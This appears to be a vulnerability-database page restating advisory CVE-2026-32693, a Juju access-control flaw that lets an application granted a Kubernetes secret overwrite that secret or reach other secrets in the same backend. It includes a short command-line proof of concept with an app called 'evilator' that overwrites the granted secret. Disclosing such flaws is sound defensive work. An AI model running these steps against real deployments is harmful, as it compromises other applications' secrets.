Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-32693 — juju

🟠 CVSS 8.8 — High ✅ No Known Exploit CWE-284 NVD
8.8
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Juju has unauthorized access to out-of-scope Kubernetes secrets

Summary

Grantee is able to update secret content using the secret-set tool due to broad Kubernetes access policy.

Implications are that it is possible, knowing a Kubernetes secret identifier (e.g. name), to patch without affecting the secret, revealing the value, or, patching while affecting the secrets value.

Details

When a Juju secret is "granted" to an app, that app should be able to read the secret content but not modify it, and should be able to only read secrets that have been granted to it.

Authorization of the secret-set hook tool / controller request is not performed correctly, which allows the grantee to update the secret content and to read or affect other secrets.

PoC

Tested:

  • two applications in the same controller, same model: one owns the secret, another get a grant
  • relation between them
  • secret grant
  • Linux AMD64, Canonical K8s, Juju 3.6.8 controller, Juju 3.6.9 CLI

Not tested:

  • admin (user) secrets
  • cross-model relations
  • cross-controller relations

```command

⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-add nice=little-value"

secret://9cf1319c-4f4b-44f8-891b-9d1c7d8d3b52/d350nbnmp25c76301ht0

⋊> dima@bb ⋊> /c/hexanator on main ◦ juju show-unit ingress2/0

ingress2/0:

workload-version: 24.2.0

opened-ports: []

charm: ch:amd64/nginx-ingress-integrator-203

leader: true

life: alive

relation-info:

  • relation-id: 11

endpoint: ingress

related-endpoint: ingress

application-data: {}

related-units:

evilator/0:

in-scope: true

data:

egress-subnets: 10.152.183.39/32

ingress-address: 10.152.183.39

private-address: 10.152.183.39

  • relation-id: 10

endpoint: nginx-peers

related-endpoint: nginx-peers

application-data: {}

local-unit:

in-scope: true

data:

egress-subnets: 10.152.183.135/32

ingress-address: 10.152.183.135

private-address: 10.152.183.135

provider-id: ingress2-0

address: 10.1.0.100

⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-grant d350nbnmp25c76301ht0 --relation 11"

⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit evilator/0 "secret-set d350nbnmp25c76301ht0 nice=who-is-nice-now"

updating secrets: permission denied

⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-get d350nbnmp25c76301ht0"

nice: who-is-nice-now

```

When the grantee attempts to update the the granted secret:

  • secret-set command logs an error, though returns OK return status
  • the secret value is updated
  • new secret revision is not created
  • new value is visible to both owner and grantee

Impact

  • the application that owns the secret
  • a third application, if a secret is granted to multiple parties
  • any other application that has secrets in the same Kubernetes secret backend

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-32693 is classified as CWE-284: Improper Access Control. The software does not restrict an action to the actors that should be allowed to perform it.

Affected software

CVE-2026-32693 is recorded against 2 packages.

  • github.com/juju/juju
  • juju (from 3.0.0 up to 3.6.19)

Timeline and source

Published on 23 March 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com (Advisory)
nvd.nist.gov (Advisory)
github.com (Fix)

Other advisories for this package

github.com/juju/juju has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-284: Improper Access Control) in other software:

Details

Severity HIGH
CVSS Score 8.8
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE CWE-284
Public Exploit ✅ No
Source NVD
Published 2026-03-23
Updated 2026-08-20
Modified 2026-03-23

Affected Packages

Software From version Fixed in
github.com/juju/juju — —
juju 3.0.0 3.6.19

Similar Threats

Site Security Check

Is juju part of your stack?

CVE-2026-32693 is rated CVSS 8.8 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026
✓